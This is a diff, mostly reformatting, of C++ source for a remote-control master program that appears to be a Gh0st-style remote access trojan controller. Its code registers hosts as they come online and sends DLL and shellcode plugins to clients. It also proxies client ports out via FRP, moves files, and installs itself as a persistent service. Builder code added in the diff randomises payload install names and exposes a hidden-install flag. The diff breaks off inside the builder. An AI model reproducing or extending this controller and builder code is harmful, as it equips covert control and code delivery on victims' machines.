&CMy2015RemoteDlg::OnHookWin) - ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService) - END_MESSAGE_MAP() + ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort) + ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin) + ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService) +END_MESSAGE_MAP() // CMy2015RemoteDlg 消息处理程序 @@ -847,8 +847,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]"); - CharMsg *title = new CharMsg("主机上线"); - CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]")); + CharMsg *title = new CharMsg("主机上线"); + CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]")); LeaveCriticalSection(&m_cs); Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), std::to_string(id).c_str()); @@ -861,7 +861,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } } -LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) { +LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) +{ CharMsg* title = (CharMsg*)wParam, * text = (CharMsg*)lParam; if (::IsWindow(m_Nid.hWnd)) { @@ -875,8 +876,8 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) { Shell_NotifyIcon(NIM_MODIFY, &nidCopy); SetTimer(TIMER_CLEAR_BALLOON, nidCopy.uTimeout, nullptr); } - if (title->needFree) delete title; - if (text->needFree) delete text; + if (title->needFree) delete title; + if (text->needFree) delete text; return S_OK; } @@ -1286,7 +1287,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED); m_bHookWIN = THIS_CFG.GetInt("settings", "HookWIN", 0); SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED); - m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0); + m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0); SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, !m_runNormal ? MF_CHECKED : MF_UNCHECKED); std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; std::string str = myMap[n]; @@ -1573,8 +1574,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) if (nIDEvent == TIMER_CLOSEWND) { DeletePopupWindow(); } - if (nIDEvent == TIMER_CLEAR_BALLOON) - { + if (nIDEvent == TIMER_CLEAR_BALLOON) { KillTimer(TIMER_CLEAR_BALLOON); // 清除气球通知 @@ -2317,9 +2317,9 @@ bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) if (!ctx->Send2Client(data, size)) { return false; } - CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg; + CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg; BYTE* name = data + sizeof(FileChunkPacket); - dlg->UpdateProgress(CString((char*)name, chunk->nameLength), chunk); + dlg->UpdateProgress(CString((char*)name, chunk->nameLength), chunk); return true; } @@ -2328,7 +2328,7 @@ void delay_cancel(CONTEXT_OBJECT* ctx, int sec) { if (!ctx) return; CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg; - dlg->FinishFileSend(TRUE); + dlg->FinishFileSend(TRUE); Sleep(sec*1000); dlg->PostMessageA(WM_CLOSE); ctx->hDlg = NULL; @@ -2346,7 +2346,7 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string& { if (sn.empty() || passcode.empty() || hmac == 0) { return FALSE; - } + } static const char* superAdmin = getenv("YAMA_PWD"); std::string pwd = superAdmin ? superAdmin : m_superPass; return VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac); @@ -2355,22 +2355,20 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string& // 从char数组解析出多个路径 std::vector ParseMultiStringPath(const char* buffer, size_t size) { - std::vector paths; + std::vector paths; - const char* p = buffer; - const char* end = buffer + size; + const char* p = buffer; + const char* end = buffer + size; - while (p < end) - { - size_t len = strlen(p); - if (len > 0) - { - paths.emplace_back(p, len); - } - p += len + 1; - } + while (p < end) { + size_t len = strlen(p); + if (len > 0) { + paths.emplace_back(p, len); + } + p += len + 1; + } - return paths; + return paths; } VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) @@ -2406,7 +2404,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) valid = (hash256 == fixedKey); } if (valid) { - valid = AuthorizeClient(sn, passcode, hmac); + valid = AuthorizeClient(sn, passcode, hmac); if (valid) { Mprintf("%s 校验成功, HMAC 校验成功: %s\n", passcode.c_str(), sn.c_str()); std::string tip = passcode + " 校验成功: " + sn; @@ -2429,20 +2427,20 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } case COMMAND_GET_FILE: { // 发送文件 - std::string dir = (char*)(szBuffer + 1); - char* ptr = (char*)szBuffer + 1 + dir.length() + 1; + std::string dir = (char*)(szBuffer + 1); + char* ptr = (char*)szBuffer + 1 + dir.length() + 1; auto md5 = CalcMD5FromBytes((BYTE*)ptr, len - 2 - dir.length()); if (!m_CmdList.PopCmd(md5)) { Mprintf("【警告】文件传输指令非法或已过期: %s\n", md5.c_str()); ContextObject->CancelIO(); break; } - auto files = *ptr ? ParseMultiStringPath(ptr, len - 2 - dir.length()) : std::vector{}; + auto files = *ptr ? ParseMultiStringPath(ptr, len - 2 - dir.length()) : std::vector {}; if (!files.empty()) { - CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, TRUE); - dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow()); - dlg->ShowWindow(SW_HIDE); - ContextObject->hDlg = dlg; + CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, TRUE); + dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow()); + dlg->ShowWindow(SW_HIDE); + ContextObject->hDlg = dlg; std::string hash = GetPwdHash(), hmac = GetHMAC(100); std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend, hash, hmac).detach(); @@ -2460,7 +2458,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) ContextObject->hDlg = dlg; } DialogBase* dlg = (DialogBase*)ContextObject->hDlg; - dlg->OnReceiveComplete(); + dlg->OnReceiveComplete(); break; } @@ -2518,39 +2516,38 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) break; } case CMD_EXECUTE_DLL: { // 请求DLL(执行代码)【L】 - case CMD_EXECUTE_DLL_NEW: - DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1); - if (std::string(info->Name) == TINY_DLL_NAME) { - auto tinyRun = ReadTinyRunDll(info->Pid); - Buffer* buf = tinyRun->Data; - ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length()); - SAFE_DELETE(tinyRun); - break; - } - else if (std::string(info->Name) == FRPC_DLL_NAME) { - auto frpc = ReadFrpcDll(); - Buffer* buf = frpc->Data; - ContextObject->Send2Client(buf->Buf(), frpc->Data->length()); - SAFE_DELETE(frpc); - break; - } - for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) { - DllInfo* dll = *i; - if (dll->Name == info->Name) { - // TODO 如果是UDP,发送大包数据基本上不可能成功 - ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length()); + case CMD_EXECUTE_DLL_NEW: + DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1); + if (std::string(info->Name) == TINY_DLL_NAME) { + auto tinyRun = ReadTinyRunDll(info->Pid); + Buffer* buf = tinyRun->Data; + ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length()); + SAFE_DELETE(tinyRun); + break; + } else if (std::string(info->Name) == FRPC_DLL_NAME) { + auto frpc = ReadFrpcDll(); + Buffer* buf = frpc->Data; + ContextObject->Send2Client(buf->Buf(), frpc->Data->length()); + SAFE_DELETE(frpc); break; } + for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) { + DllInfo* dll = *i; + if (dll->Name == info->Name) { + // TODO 如果是UDP,发送大包数据基本上不可能成功 + ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length()); + break; + } + } + auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit }); + if (dll) { + Buffer* buf = dll->Data; + ContextObject->Send2Client(buf->Buf(), dll->Data->length()); + SAFE_DELETE(dll); + } + Sleep(20); + break; } - auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit }); - if (dll) { - Buffer* buf = dll->Data; - ContextObject->Send2Client(buf->Buf(), dll->Data->length()); - SAFE_DELETE(dll); - } - Sleep(20); - break; - } case COMMAND_PROXY: { // 代理映射【x】 g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject); break; @@ -2783,14 +2780,14 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) // 回复心跳 // if(0) { - BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac); - if (authorized) { - Mprintf("%s HMAC 校验成功: %lld\n", hb.Passcode, hb.PwdHmac); - std::string tip = std::string(hb.Passcode) + " 授权成功: "; - tip += std::to_string(hb.PwdHmac) + "[" + std::string(ctx->GetClientData(ONLINELIST_IP)) + "]"; - CharMsg* msg = new CharMsg(tip.c_str()); - PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); - } + BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac); + if (authorized) { + Mprintf("%s HMAC 校验成功: %lld\n", hb.Passcode, hb.PwdHmac); + std::string tip = std::string(hb.Passcode) + " 授权成功: "; + tip += std::to_string(hb.PwdHmac) + "[" + std::string(ctx->GetClientData(ONLINELIST_IP)) + "]"; + CharMsg* msg = new CharMsg(tip.c_str()); + PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); + } HeartbeatACK ack = { hb.Time, (char)authorized }; BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; memcpy(buf + 1, &ack, sizeof(HeartbeatACK)); @@ -3171,33 +3168,31 @@ char* ReadFileToBuffer(const std::string &path, size_t& outSize) BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset) { - std::string filePath = path; - std::fstream outFile; + std::string filePath = path; + std::fstream outFile; - if (offset == 0) { - // offset=0 时截断文件,等同覆盖写入 - outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc); - } - else if (offset == -1) { - // offset=-1 时追加写入 - outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app); - } - else { - // 非0偏移,保留原内容,定位写入 - outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out); + if (offset == 0) { + // offset=0 时截断文件,等同覆盖写入 + outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc); + } else if (offset == -1) { + // offset=-1 时追加写入 + outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app); + } else { + // 非0偏移,保留原内容,定位写入 + outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out); - // 文件不存在时创建 - if (!outFile) { - outFile.open(filePath, std::ios::binary | std::ios::out); - } - } + // 文件不存在时创建 + if (!outFile) { + outFile.open(filePath, std::ios::binary | std::ios::out); + } + } - if (!outFile) { - Mprintf("Failed to open or create the file: %s.\n", filePath.c_str()); - return FALSE; - } + if (!outFile) { + Mprintf("Failed to open or create the file: %s.\n", filePath.c_str()); + return FALSE; + } - // 追加模式不需要 seekp, 其他情况定位到指定位置 + // 追加模式不需要 seekp, 其他情况定位到指定位置 if (offset != -1) { // 定位到指定位置 outFile.seekp(offset, std::ios::beg); @@ -3210,20 +3205,19 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGL } } - // 写入二进制数据 - outFile.write(data, size); + // 写入二进制数据 + outFile.write(data, size); - if (outFile.good()) { - Mprintf("Binary data written successfully to %s.\n", filePath.c_str()); - } - else { - Mprintf("Failed to write data to file.\n"); - outFile.close(); - return FALSE; - } + if (outFile.good()) { + Mprintf("Binary data written successfully to %s.\n", filePath.c_str()); + } else { + Mprintf("Failed to write data to file.\n"); + outFile.close(); + return FALSE; + } - outFile.close(); - return TRUE; + outFile.close(); + return TRUE; } int run_cmd(std::string cmdLine) @@ -4289,74 +4283,74 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam do { static CDialogBase* operateWnd = nullptr; KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam; - // 先判断是否需要处理的热键 - bool bNeedCheck = false; - if (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP) { - // 所有系统键都需要检查 - bNeedCheck = true; - } - // Win 键 (开始菜单、Win+D/E/R/L 等) - else if (pKey->vkCode == VK_LWIN || pKey->vkCode == VK_RWIN) { - bNeedCheck = true; - } - // Alt+Tab (切换窗口) - else if (pKey->vkCode == VK_TAB && (pKey->flags & LLKHF_ALTDOWN)) { - bNeedCheck = true; - } - // Alt+Esc (循环切换窗口) - else if (pKey->vkCode == VK_ESCAPE && (pKey->flags & LLKHF_ALTDOWN)) { - bNeedCheck = true; - } - // Ctrl+Shift+Esc (任务管理器) - else if (pKey->vkCode == VK_ESCAPE && - (GetAsyncKeyState(VK_CONTROL) & 0x8000) && - (GetAsyncKeyState(VK_SHIFT) & 0x8000)) { - bNeedCheck = true; - } - // Ctrl+Esc (开始菜单) - else if (pKey->vkCode == VK_ESCAPE && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) { - bNeedCheck = true; - } - // F12 (调试器热键) - else if (pKey->vkCode == VK_F12 || pKey->vkCode == VK_F10) { - bNeedCheck = true; - } - // Print Screen (截图) - else if (pKey->vkCode == VK_SNAPSHOT) { - bNeedCheck = true; - } - // Win+Tab (任务视图) - else if (pKey->vkCode == VK_TAB && - (GetAsyncKeyState(VK_LWIN) & 0x8000 || GetAsyncKeyState(VK_RWIN) & 0x8000)) { - bNeedCheck = true; - } - if (bNeedCheck && g_2015RemoteDlg->m_bHookWIN) { + // 先判断是否需要处理的热键 + bool bNeedCheck = false; + if (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP) { + // 所有系统键都需要检查 + bNeedCheck = true; + } + // Win 键 (开始菜单、Win+D/E/R/L 等) + else if (pKey->vkCode == VK_LWIN || pKey->vkCode == VK_RWIN) { + bNeedCheck = true; + } + // Alt+Tab (切换窗口) + else if (pKey->vkCode == VK_TAB && (pKey->flags & LLKHF_ALTDOWN)) { + bNeedCheck = true; + } + // Alt+Esc (循环切换窗口) + else if (pKey->vkCode == VK_ESCAPE && (pKey->flags & LLKHF_ALTDOWN)) { + bNeedCheck = true; + } + // Ctrl+Shift+Esc (任务管理器) + else if (pKey->vkCode == VK_ESCAPE && + (GetAsyncKeyState(VK_CONTROL) & 0x8000) && + (GetAsyncKeyState(VK_SHIFT) & 0x8000)) { + bNeedCheck = true; + } + // Ctrl+Esc (开始菜单) + else if (pKey->vkCode == VK_ESCAPE && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) { + bNeedCheck = true; + } + // F12 (调试器热键) + else if (pKey->vkCode == VK_F12 || pKey->vkCode == VK_F10) { + bNeedCheck = true; + } + // Print Screen (截图) + else if (pKey->vkCode == VK_SNAPSHOT) { + bNeedCheck = true; + } + // Win+Tab (任务视图) + else if (pKey->vkCode == VK_TAB && + (GetAsyncKeyState(VK_LWIN) & 0x8000 || GetAsyncKeyState(VK_RWIN) & 0x8000)) { + bNeedCheck = true; + } + if (bNeedCheck && g_2015RemoteDlg->m_bHookWIN) { HWND hFore = ::GetForegroundWindow(); - auto screen = (CScreenSpyDlg*)g_2015RemoteDlg->GetRemoteWindow(hFore); + auto screen = (CScreenSpyDlg*)g_2015RemoteDlg->GetRemoteWindow(hFore); if (screen && screen->m_bIsCtrl) { - MSG msg = { 0 }; - msg.hwnd = hFore; - msg.message = (UINT)wParam; - msg.wParam = pKey->vkCode; - msg.lParam = (pKey->scanCode << 16) | 1; + MSG msg = { 0 }; + msg.hwnd = hFore; + msg.message = (UINT)wParam; + msg.wParam = pKey->vkCode; + msg.lParam = (pKey->scanCode << 16) | 1; - if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) { - msg.lParam |= (1 << 31) | (1 << 30); - } + if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) { + msg.lParam |= (1 << 31) | (1 << 30); + } - // 扩展键标志 (bit 24) - if (pKey->flags & LLKHF_EXTENDED) { - msg.lParam |= (1 << 24); - } + // 扩展键标志 (bit 24) + if (pKey->flags & LLKHF_EXTENDED) { + msg.lParam |= (1 << 24); + } - msg.time = pKey->time; - msg.pt.x = 0; - msg.pt.y = 0; + msg.time = pKey->time; + msg.pt.x = 0; + msg.pt.y = 0; screen->SendScaledMouseMessage(&msg, false); - // 返回 1 阻止本地系统处理 - return 1; + // 返回 1 阻止本地系统处理 + return 1; } - } + } // 只在按下时处理 if (wParam == WM_KEYDOWN) { // 检测 Ctrl+C / Ctrl+X @@ -4382,7 +4376,7 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam auto files = GetClipboardFiles(result); if (!files.empty()) { // 获取远程目录 - auto str = BuildMultiStringPath(files); + auto str = BuildMultiStringPath(files); BYTE* szBuffer = new BYTE[81 + str.size()]; szBuffer[0] = { COMMAND_GET_FOLDER }; std::string masterId = GetPwdHash(), hmac = GetHMAC(100); @@ -4574,63 +4568,60 @@ void CMy2015RemoteDlg::OnParamEnableLog() bool IsDateGreaterOrEqual(const char* date1, const char* date2) { - const char* months[] = { - "Jan", "Feb", "Mar", "Apr", "May", "Jun", - "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" - }; + const char* months[] = { + "Jan", "Feb", "Mar", "Apr", "May", "Jun", + "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" + }; - auto parseDate = [&months](const char* date, int& year, int& month, int& day) { - char mon[4] = { 0 }; - sscanf(date, "%3s %d %d", mon, &day, &year); - month = 0; - for (int i = 0; i < 12; i++) { - if (strcmp(mon, months[i]) == 0) { - month = i + 1; - break; - } - } - }; + auto parseDate = [&months](const char* date, int& year, int& month, int& day) { + char mon[4] = { 0 }; + sscanf(date, "%3s %d %d", mon, &day, &year); + month = 0; + for (int i = 0; i < 12; i++) { + if (strcmp(mon, months[i]) == 0) { + month = i + 1; + break; + } + } + }; - int y1, m1, d1, y2, m2, d2; - parseDate(date1, y1, m1, d1); - parseDate(date2, y2, m2, d2); + int y1, m1, d1, y2, m2, d2; + parseDate(date1, y1, m1, d1); + parseDate(date2, y2, m2, d2); - if (y1 != y2) return y1 >= y2; - if (m1 != m2) return m1 >= m2; - return d1 >= d2; + if (y1 != y2) return y1 >= y2; + if (m1 != m2) return m1 >= m2; + return d1 >= d2; } std::string GetAuthKey(const char* token, long long timestamp) { - char tsStr[32]; - sprintf_s(tsStr, "%lld", timestamp); + char tsStr[32]; + sprintf_s(tsStr, "%lld", timestamp); - HCRYPTPROV hProv = 0; - HCRYPTHASH hHash = 0; - std::string result; + HCRYPTPROV hProv = 0; + HCRYPTHASH hHash = 0; + std::string result; - if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) - { - CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0); - CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0); + if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) { + CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0); + CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0); - BYTE hash[16]; - DWORD cbHash = sizeof(hash); - if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0)) - { - char hex[33]; - for (int i = 0; i < 16; i++) - sprintf_s(hex + i * 2, 3, "%02x", hash[i]); - result = hex; - } - CryptDestroyHash(hHash); - } - CryptReleaseContext(hProv, 0); - } + BYTE hash[16]; + DWORD cbHash = sizeof(hash); + if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0)) { + char hex[33]; + for (int i = 0; i < 16; i++) + sprintf_s(hex + i * 2, 3, "%02x", hash[i]); + result = hex; + } + CryptDestroyHash(hHash); + } + CryptReleaseContext(hProv, 0); + } - return result; + return result; } // 基于FRP将客户端端口代理到主控程序的公网 @@ -4646,66 +4637,65 @@ void CMy2015RemoteDlg::OnProxyPort() } CInputDialog dlg(this); dlg.Init("代理端口", "请输入客户端端口:"); - if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { - return; - } + if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { + return; + } uint64_t timestamp = time(nullptr); std::string key = GetAuthKey(pwd.c_str(), timestamp); - int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); + int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); int localPort = atoi(dlg.m_str); - auto frpc = ReadFrpcDll(); + auto frpc = ReadFrpcDll(); FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); - EnterCriticalSection(&m_cs); - POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); - BOOL sent = FALSE; - while (Pos) { - int iItem = m_CList_Online.GetNextSelectedItem(Pos); - context* ctx = (context*)m_CList_Online.GetItemData(iItem); - if (!ctx->IsLogin()) - continue; + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + BOOL sent = FALSE; + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ctx = (context*)m_CList_Online.GetItemData(iItem); + if (!ctx->IsLogin()) + continue; CString date = ctx->GetClientData(ONLINELIST_VERSION); - if (IsDateGreaterOrEqual(date, "Dec 22 2025")) { - Buffer* buf = frpc->Data; + if (IsDateGreaterOrEqual(date, "Dec 22 2025")) { + Buffer* buf = frpc->Data; BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = {0}; memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew)); DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); SetParameters(p, (char*)¶m, sizeof(param)); - ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); - sent = TRUE; - } - else { - PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"), - (LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025"))); + ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); + sent = TRUE; + } else { + PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"), + (LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025"))); } break; - } - LeaveCriticalSection(&m_cs); - SAFE_DELETE(frpc); + } + LeaveCriticalSection(&m_cs); + SAFE_DELETE(frpc); if (sent) - MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!", - "提示", MB_ICONINFORMATION); + MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!", + "提示", MB_ICONINFORMATION); } void CMy2015RemoteDlg::OnHookWin() { - m_bHookWIN = !m_bHookWIN; - MessageBoxA(CString("远程控制时,") + (m_bHookWIN ? "" : "不") + CString("转发系统热键到远程桌面。"), - "提示", MB_ICONINFORMATION); - THIS_CFG.SetInt("settings", "HookWIN", m_bHookWIN); - CMenu* SubMenu = m_MainMenu.GetSubMenu(2); - SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED); + m_bHookWIN = !m_bHookWIN; + MessageBoxA(CString("远程控制时,") + (m_bHookWIN ? "" : "不") + CString("转发系统热键到远程桌面。"), + "提示", MB_ICONINFORMATION); + THIS_CFG.SetInt("settings", "HookWIN", m_bHookWIN); + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED); } void CMy2015RemoteDlg::OnRunasService() { m_runNormal = !m_runNormal; - MessageBoxA(m_runNormal ? CString("以传统方式启动主控程序,没有守护进程。") : - CString("以“服务+代理”形式启动主控程序,会开机自启及被守护。"), - "提示", MB_ICONINFORMATION); - THIS_CFG.SetInt("settings", "RunNormal", m_runNormal); - CMenu* SubMenu = m_MainMenu.GetSubMenu(2); - SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, !m_runNormal ? MF_CHECKED : MF_UNCHECKED); + MessageBoxA(m_runNormal ? CString("以传统方式启动主控程序,没有守护进程。") : + CString("以“服务+代理”形式启动主控程序,会开机自启及被守护。"), + "提示", MB_ICONINFORMATION); + THIS_CFG.SetInt("settings", "RunNormal", m_runNormal); + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, !m_runNormal ? MF_CHECKED : MF_UNCHECKED); BOOL r = m_runNormal ? ServerService_Uninstall() : ServerService_Install(); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7a34373..aa567cf 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -29,18 +29,20 @@ typedef struct DllInfo { typedef struct FileTransformCmd { CLock Lock; std::map CmdTime; - void PutCmd(const std::string& str) { - Lock.Lock(); - CmdTime[str] = time(0); - Lock.Unlock(); - } - bool PopCmd(const std::string& str, int timeoutSec = 10) { - Lock.Lock(); - bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec; - CmdTime.erase(str); - Lock.Unlock(); - return valid; - } + void PutCmd(const std::string& str) + { + Lock.Lock(); + CmdTime[str] = time(0); + Lock.Unlock(); + } + bool PopCmd(const std::string& str, int timeoutSec = 10) + { + Lock.Lock(); + bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec; + CmdTime.erase(str); + Lock.Unlock(); + return valid; + } } FileTransformCmd; #define ID_DYNAMIC_MENU_BASE 36500 diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h index 81c3ce4..88540e0 100644 --- a/server/2015Remote/Buffer.h +++ b/server/2015Remote/Buffer.h @@ -73,16 +73,20 @@ public: { return md5; } - BYTE GetBYTE(int idx=0) const { + BYTE GetBYTE(int idx=0) const + { return idx >= len ? 0 : buf[idx]; } - LPBYTE GetBuffer(int idx=0) const { + LPBYTE GetBuffer(int idx=0) const + { return idx >= len ? 0 : buf + idx; } - int GetBufferLength() const { + int GetBufferLength() const + { return len; } - BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos=0) { + BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos=0) + { if (len - ulPos < nLen) { return FALSE; } diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 67eb8b1..956979d 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -9,6 +9,7 @@ #include "InputDlg.h" #include #include +#include "Resource.h" // #include enum Index { @@ -71,6 +72,30 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize) } +CString GenerateRandomName(int nLength) +{ + if (nLength <= 0) nLength = 8; + + static const TCHAR szChars[] = _T("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"); + static const int nCharsCount = _countof(szChars) - 1; + + static bool bSeeded = false; + if (!bSeeded) { + srand((unsigned)time(NULL)); + bSeeded = true; + } + + CString strName; + LPTSTR pBuf = strName.GetBuffer(nLength); + + for (int i = 0; i < nLength; i++) { + pBuf[i] = szChars[rand() % nCharsCount]; + } + + strName.ReleaseBuffer(nLength); + return strName; +} + CBuildDlg::CBuildDlg(CWnd* pParent) : CDialog(CBuildDlg::IDD, pParent) , m_strIP(_T("")) @@ -78,6 +103,8 @@ CBuildDlg::CBuildDlg(CWnd* pParent) , m_strFindden(FLAG_FINDEN) , m_sGroupName(_T("default")) , m_strEncryptIP(_T("是")) + , m_sInstallDir(_T("")) + , m_sInstallName(_T("")) { } @@ -104,6 +131,12 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload); DDX_Control(pDX, 